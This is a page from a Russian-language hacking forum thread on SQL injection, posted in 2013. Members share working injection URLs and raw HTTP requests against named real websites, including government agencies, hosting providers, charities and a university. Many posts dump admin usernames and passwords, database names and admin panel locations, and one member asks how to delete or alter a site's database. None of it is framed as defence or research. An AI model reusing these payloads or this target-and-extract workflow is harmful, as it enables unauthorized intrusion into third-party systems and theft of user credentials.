SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 767 of 798
  1. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Code:
    http://dancukiengiang.gov.vn/news.php?id=157+/**/union/**/+ /**/select/* */+1,2,@@basedir,concat_ws(0x 3a,version(),us er(),database()),5,6, 7,8,9+--+
     
    #15321 GhostW, 21 Mar 2013
  2. kosmo987

    kosmo987 Member

    Joined:
    28 Apr 2010
    Messages:
    0
    Likes Received:
    6
    Reputations:
    1
    Сайт ФСКН, что-то очкую ковыряться. Доступ к нескольким БД.
    вывод в пути картинки после <img src="smi/

    Code:
    http://25.fskn.gov.ru/smi.php?click_id=-14+union+select+1,@@version,3,4,5,6
     
    #15322 kosmo987, 25 Mar 2013
  3. Groove

    Groove Member

    Joined:
    13 Nov 2010
    Messages:
    183
    Likes Received:
    22
    Reputations:
    2
    http://mcxchakraa.com


    http://mcxchakraa.com/buy.php?Id=-2+union+select+1,concat%28admin,0x3a,pass%29,3,4,5,6,7,8+from+mcx_admin--


    Sql Version: 5.1.68-cll
    System User: mcxchakr_mcxcha@localhost
    DB User: 'mcxchakr_mcxcha'@'localhost'
    Compile OS: unknown-linux-gnu
     
    #15323 Groove, 27 Mar 2013
    Last edited: 27 Mar 2013
  4. BlackIce

    BlackIce Elder - Старейшина

    Joined:
    10 Jan 2013
    Messages:
    100
    Likes Received:
    31
    Reputations:
    27
    http://www.profbeauty.com.ua/?catid=-160+union+select+1,table_name,3+from+information_schema.tables+where+table_schema=database%28%29+limit+5,1+--+


    http://groupegato.com/news.php?id=-2%29+union+select+1,2,3,concat_ws%280x3a,login,password%29,5,6,7,8,9,10,11,12,13,14,15,16+from+site__admins+--+


    http://www.sweet-crush.com/news.php?id=-2+union+select+1,group_concat%28username,0x3a,password%29,3,4,5,6,7,8+from+users+--+

    http://www.summermediastudio.com/index.php?b=-1+union+select+1,concat_ws%280x3a,user%28%29,version%28%29%29,3+--+
     
    #15324 BlackIce, 27 Mar 2013
  5. OxoTnik

    OxoTnik На мышей

    Joined:
    10 Jun 2011
    Messages:
    943
    Likes Received:
    525
    Reputations:
    173
    http://www.glebovo.com/moreinfo.html?id=-2+uniOn+selecT+1,2,3,4,5,6,7,8,9,10,version%28%29--



    http://www.suncar.kz/info.php?info=11&id=1133+order+by+2


    Groove

    Флуди меньше, как дитё блать
     
    #15325 OxoTnik, 27 Mar 2013
    Last edited: 27 Mar 2013
  6. FryTvin

    FryTvin New Member

    Joined:
    10 Nov 2012
    Messages:
    15
    Likes Received:
    2
    Reputations:
    6
    http://yobiz.ru/view_post_bo.php?id=-127%27+union+select+1,2,3,concat%28user%28%29,0x3a,database%28%29%29,5,6,7,8,9+--+
     
    #15326 FryTvin, 28 Mar 2013
  7. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Code:
    http://yhaigujarat.org/d etails.php?id=-23+union+select+1,concat_ws(0 x3a,version(),user(),database()),3,4,5--
     
    #15327 GhostW, 28 Mar 2013
  8. Groove

    Groove Member

    Joined:
    13 Nov 2010
    Messages:
    183
    Likes Received:
    22
    Reputations:
    2
    http://www.calidus.ro

    http://www.calidus.ro/en/news.php?id=-1+union+select+1,concat(username,0x3a,user_password),3,4+from+users--

    Current User: [email protected]
    Sql Version: 5.0.96-community
    Compile OS: unknown-linux-gnu

    _______________________________________

    http://saveraptors.org

    http://saveraptors.org/en/news.php?id=-172+union+select+1,2,3,concat(user_name,0x3a,pass_word),5,6,7,8+from+users--

    Current User: saveraptors@localhost
    Sql Version: 5.0.96-community
    Compile OS: unknown

    Админка: http://saveraptors.org/admin/


    _______________________________________


    http://eyesurgeryeducation.org/

    http://eyesurgeryeducation.org/resources-news.php?id=-30+union+select+1,version(),3,4


    Current User: [email protected]
    Sql Version: 5.5.29-log
    Compile OS: Linux

    _______________________________________



    http://www.moreanartscenter.org/

    http://www.moreanartscenter.org/news.php?id=-3102+union+select+1,concat(login_username,0x3a,login_password),3,4,5,6,7,8,9,10,11,12+from+login--


    Current User: morean_user@localhost
    Sql Version: 5.0.45
    Compile OS: redhat-linux-gnu


    _______________________________________



    http://www.fairexpo.kz/

    http://www.fairexpo.kz/news.php?id=-9+union+select+1,2,table_name,4,5+from+INFORMATION_SCHEMA.TABLES+where+table_schema=0x762D313632385F666169726578706F--


    Current User: v_1628_dbuser@localhost
    Sql Version: 5.0.91
    Compile OS: redhat-linux-gnu


    _______________________________________


    http://www.reef-entertainment.com/

    http://www.reef-entertainment.com/news.php?id=28+union+select+1,2,concat(name,0x3a,password),4,5+from+users--


    Current User: [email protected]
    Sql Version: 5.0.95
    Compile OS: redhat-linux-gnu


    _______________________________________



    http://photoholiday.ru/

    http://photoholiday.ru/news.php?id=-41699+union+select+1,2,3,4,5,version()


    Current User: localhost
    Sql Version: 5.0.92
    Compile OS: linux-gnu

    _______________________________________



    http://www.lowcarbonliverpool.com

    http://www.lowcarbonliverpool.com/news_detail.php?id=35+union+select+1,concat%28uname,0x3a,pword%29,3,4,5,6,7+from+USERS--

    Current User: [email protected]
    Sql Version: 5.5.25a-log
    Compile OS: Linux

    _______________________________________



    http://www.alohau.com

    http://www.alohau.com/news.php?id=-17+union+select+1,2,3,4,5,6,concat%28email,0x3a,username,0x3a,password%29,8,9,10,11,12,13,14+from+aloha_staff+Limit+1,2--

    Current User: [email protected]
    Sql Version: 5.0.96-log
    Compile OS: unknown-linux-gnu

    _______________________________________



    http://www.ontariofriesianhorse.com

    http://www.ontariofriesianhorse.com/PAGES/news_detail.php?id=57+union+select+1,concat(Email,0x3a,username,0x3a,password),
    3,4,5,6,7,8+from+customer+Limit+1,75--

    Current User: [email protected]
    Sql Version: 5.1.67-log
    Compile OS: pc-linux-gnu

    Админка: http://www.ontariofriesianhorse.com/admin/


    _______________________________________



    http://www.florida-cricket.com

    http://www.florida-cricket.com/news_detail.php?id=-30+union+select+1,
    concat(email,0x3a,uname,0x3a,pass),
    3,4,5+from+admin_tb--
    Current User: [email protected]
    Sql Version: 5.0.96-log
    Compile OS: pc-linux-gnu

    _______________________________________



    http://www.futuresfins.com

    http://www.futuresfins.com/fin-detail.php?id=-173+union+select+concat(username,0x3a,password),2,3,4,5,6,7,8,9,10,11+from+users

    Current User: Future_future2@localhost
    Sql Version: 5.1.54-0.dotdeb.0
    Compile OS: debian-linux-gnu
     
    #15328 Groove, 30 Mar 2013
    Last edited: 30 Mar 2013
    2 people like this.
  9. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Code:
    http://www.gusr.ru/torgy/item.php?id=-26+union+sele ct+1,2,3,4,concat_ws(0x3a,version( ),user(),database()),6,7,8--
     
    #15329 GhostW, 31 Mar 2013
  10. Улыбайся

    Улыбайся Member

    Joined:
    23 Oct 2011
    Messages:
    71
    Likes Received:
    7
    Reputations:
    3
    http://www.8tv.ru/?id=12&hotnews=23664

    Havij

    Host IP: 217.16.26.135
    Web Server: Apache/2.2.14 (Ubuntu)
    Powered-by: PHP/5.3.2-1ubuntu4.19
    Keyword Found:
    Injection type is Integer
    DB Server: MySQL >=5
    Current DB: 8tv
    MySQL error based injection method can be used!

    Сайт 8 канала, пользователей и паролей не нашел, удалять или изменять бд ещё не умею, кто умеет добавьте новость;)
     
    #15330 Улыбайся, 4 Apr 2013
    1 person likes this.
  11. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Code:
    http://old.cageprisoners.com/articles.php?id=-25632+union+select+1,2,@@version,4,5,6--
     
    #15331 GhostW, 5 Apr 2013
    1 person likes this.
  12. \/IRUS

    \/IRUS Elder - Старейшина

    Joined:
    3 Aug 2012
    Messages:
    379
    Likes Received:
    498
    Reputations:
    37
    mamboserver.com

    Яндекс тИЦ (CY): 220
    Alexa Rank: 211,585
    Google PageRank (PR): 7


    MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Code:
    http://mamboserver.com/?submit=1%27%20AND%20%28SELECT%207050%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x3a7767773a%2C%28MID%28%28IFNULL%28CAST%28version%28%29%20AS%20CHAR%29%2C0x20%29%29%2C1%2C50%29%29%2C0x3a6375643a%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%27JrEg%27%3D%27JrEg
    version(): '5.0.45'

    banner:
    web server operating system: Linux Ubuntu
    web application technology: Apache 2.2.22, PHP 5.3.10
    back-end DBMS: MySQL 5.0.45

    dbs:
    information_schema
    cyl0n_linkm
    cyl0n_prmanager
    test
     
    #15332 \/IRUS, 8 Apr 2013
    Last edited: 10 Apr 2013
    2 people like this.
  13. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Code:
    http://www.churchbuyinggroup.co.uk/newsitem.php?news_id=-9+union+selec T+1,2,3,4,@@bas edir,6,concat_ws(0x3a,version(),user(),datab ase())--

    5.0.45-community-nt:churchdbuser@localhost:church
     
    #15333 GhostW, 9 Apr 2013
  14. \/IRUS

    \/IRUS Elder - Старейшина

    Joined:
    3 Aug 2012
    Messages:
    379
    Likes Received:
    498
    Reputations:
    37
    хостинги, домены etc

    1. хостинг uh.ua - крупнейший хостинг в Украине!

    :FACEPALM:

    Скуля в хидере X-Forwarded-For
    MySQL >= 5.0 AND error-based - WHERE or HAVING clause

    Code:
    GET / HTTP/1.1
Accept-encoding: gzip,deflate
X-Forwarded-For: ' AND (SELECT 5745 FROM(SELECT COUNT(*),CONCAT(0x3a6c71613a,(MID((IFNULL(CAST(version() AS CHAR),0x20)),1,50)),0x3a76636b3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'lol'='lol
Host: uh.ua
Accept: text/html
User-agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.1 Safari/532.2
Connection: close
    version(): '5.0.51a-community-log'

    dbs:
    ukrhost_dba
    ukrhost_db

    2. хостинг www.kosmohost.com - это ключ к надежности, успеху и процветанию Вашего бизнеса в сети Интернет!

    Ага, надежности :)

    MySQL UNION query (NULL) - 10 columns

    Code:
    www.kosmohost.com/catclient.php?cat=1%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2CNULL%2CCONCAT%280x3a7869653a%2CIFNULL%28CAST%28version%28%29%20AS%20CHAR%29%2C0x20%29%2C0x3a767a623a%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%23
    version(): '5.5.27'

    dbs:
    r000100_hosting

    3. www.hostobzor.ru - эпицентр русскоязычного хостинга

    AND boolean-based blind - WHERE or HAVING clause

    Code:
    www.hostobzor.ru/certified/info.php?pid=1%27%20AND%20ORD%28MID%28%28IFNULL%28CAST%28version%28%29%20AS%20CHAR%29%2C0x20%29%29%2C11%2C1%29%29%3E1%20AND%20%27TvIu%27%3D%27TvIu
    version(): '5.0.90-log'

    dbs:
    srv21398_ho
    srv21398_ho20
    test

    4. www.imget.ru - бесплатный хостинг изображений

    Скуля в параметре login для /login.php
    а также в Cookies в параметре login везде
    MySQL >= 5.0 AND error-based - WHERE or HAVING clause

    Code:
    POST /login.php HTTP/1.1
Accept-encoding: gzip,deflate
Accept: text/html
User-agent: Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Host: www.imget.ru
Pragma: no-cache
Cache-control: no-cache,no-store
Content-type: application/x-www-form-urlencoded
Content-length: 323
Connection: close

login=1%27%20AND%20%28SELECT%203052%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x3a686b793a%2C%28MID%28%28IFNULL%28CAST%28version%28%29%20AS%20CHAR%29%2C0x20%29%29%2C1%2C50%29%29%2C0x3a6175683a%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%27zfeS%27%3D%27zfeS
    version(): '5.1.63-0+squeeze1-log'

    dbs:
    imget

    и на закуску
    5. namecom.ru - продажа зарегистрированных доменов, барыжат доменами от 1000 баксов, даже себя продают =/

    MySQL UNION query (NULL) - 3 columns

    Code:
    namecom.ru/page.php?id=-6835%27%20UNION%20ALL%20SELECT%20NULL%2CCONCAT%280x3a6c756a3a%2CIFNULL%28CAST%28version%28%29%20AS%20CHAR%29%2C0x20%29%2C0x3a7578623a%29%2CNULL%23
    version(): '5.0.51a-community'

    dbs:
    admin_clubegoist
    admin_cocovoyage
    admin_coevent2
    admin_domainfest
    admin_multiviza
    admin_mumm
    admin_namecom
    admin_orbico
    admin_shestakoff
    admin_topsignature
    admin_travelcenter
    admin_zelkor
    information_schema
     
    #15334 \/IRUS, 11 Apr 2013
    Last edited: 15 Apr 2013
    4 people like this.
  15. \/IRUS

    \/IRUS Elder - Старейшина

    Joined:
    3 Aug 2012
    Messages:
    379
    Likes Received:
    498
    Reputations:
    37
    http://er.tambov.ru/photoalbum.php?albumid=1+UNION+ALL+SELECT+NULL,'PUTIN%20-%20VAFEL!',NULL#
     
    #15335 \/IRUS, 11 Apr 2013
    1 person likes this.
  16. OxoTnik

    OxoTnik На мышей

    Joined:
    10 Jun 2011
    Messages:
    943
    Likes Received:
    525
    Reputations:
    173
    [​IMG]​
    http://www.biprint.ru/index.php?area=link&cat=2&id=-17+union+select+1,user%28%29,3,4,5,6,7,8,9,10
     
    #15336 OxoTnik, 12 Apr 2013
    Last edited: 12 Apr 2013
  17. smirk

    smirk Elder - Старейшина

    Joined:
    8 Sep 2011
    Messages:
    137
    Likes Received:
    43
    Reputations:
    26
    pr6 основной домен pr8 инст какой-то
    http://mme.uwaterloo.ca/~camj/people/index.php?id=28+and+1=2+union+select+1,database(),3,4,5,6,7,8,9,10,11,12,13+--+
     
    #15337 smirk, 12 Apr 2013
  18. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Code:
    http://www.toantamtax.vn/public/news.php?id=-2+union+select+1,2,3,concat_ws(0x3a,version(),user(),database()),5,6,7,8,9,10
    5.0.92:toantamt_data1@localhost:toantamt_data1
     
    #15338 GhostW, 15 Apr 2013
  19. ~nero~

    ~nero~ Member

    Joined:
    3 Jul 2012
    Messages:
    15
    Likes Received:
    8
    Reputations:
    3
    [​IMG]
    Яндекс тИЦ (CY) 475
    Google PageRank (PR) 4
    Яндекс Каталог
    DMOZ.org каталог
    Code:
    http://lel.khv.ru/poems/resultik.phtml?id=-1761+union+select+1,database(),version(),user()--

    [​IMG]
    Яндекс тИЦ (CY) 325
    Google PageRank (PR) 4
    Яндекс Каталог
    траф 15к
    Code:
    http://www.l2db.ru/npc/index/2/rg/all/all/8/all/%5C'))+and+extractvalue(rand(),concat(0x3a,version(),0x3a,user()))+--+

    [​IMG]
    Яндекс тИЦ (CY) 475
    Google PageRank (PR) 4
    Яндекс Каталог
    DMOZ.org каталог
    Code:
    http://www.landscrona.ru/media/index.php?id=-3105+union+select+1,2,3,user(),database(),version(),7,8,9,10,11,12,13,14,15--



    [​IMG]
    Google PageRank (PR) 3
    Code:
    http://kosmet.pro/index.php?id=-107+union+select+1,version(),database(),user(),5--
     
    #15339 ~nero~, 16 Apr 2013
  20. Vip77

    Vip77 Elder - Старейшина

    Joined:
    29 Sep 2012
    Messages:
    281
    Likes Received:
    55
    Reputations:
    20
    Code:
    http://www.f1-world.ru/champ2012/qualres.php?id=12209 UNION ALL SELECT 1,1,1,1,1,CONCAT(0x7c20,IFNULL(CAST(Email AS CHAR),0x20),0x3a,IFNULL(CAST(NickName AS CHAR),0x20),0x3a,IFNULL(CAST(PassWd AS CHAR),0x20),0x207c),1,1,1,1,1 FROM f1world.fusers#
     
    #15340 Vip77, 16 Apr 2013
    Last edited: 16 Apr 2013
(You must log in or sign up to post here.)
Page 767 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.